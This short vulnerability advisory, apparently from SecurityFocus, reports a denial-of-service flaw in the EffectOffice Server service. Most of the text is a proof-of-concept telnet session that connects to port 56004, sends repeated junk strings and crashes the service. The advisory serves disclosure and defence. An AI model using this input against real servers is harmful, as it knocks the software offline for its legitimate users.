source: https://www.securityfocus.com/bid/9077/info

A problem has been reported the service used by EffectOffice Server. Because of this, it may be possible for a remote user to deny service to legitimate users of the software. 

hacker# telnet
telnet> open
(to) attackhost 56004
Trying attackhost......
Connected to attackhost.
Escape character is '^]'.
aaaaaaaaaa
aaaaaaaaaa
aaaaaaaaaa
aaaaaaaaaa
^]
telnet>close
telnet>quit
hacker#

Crash service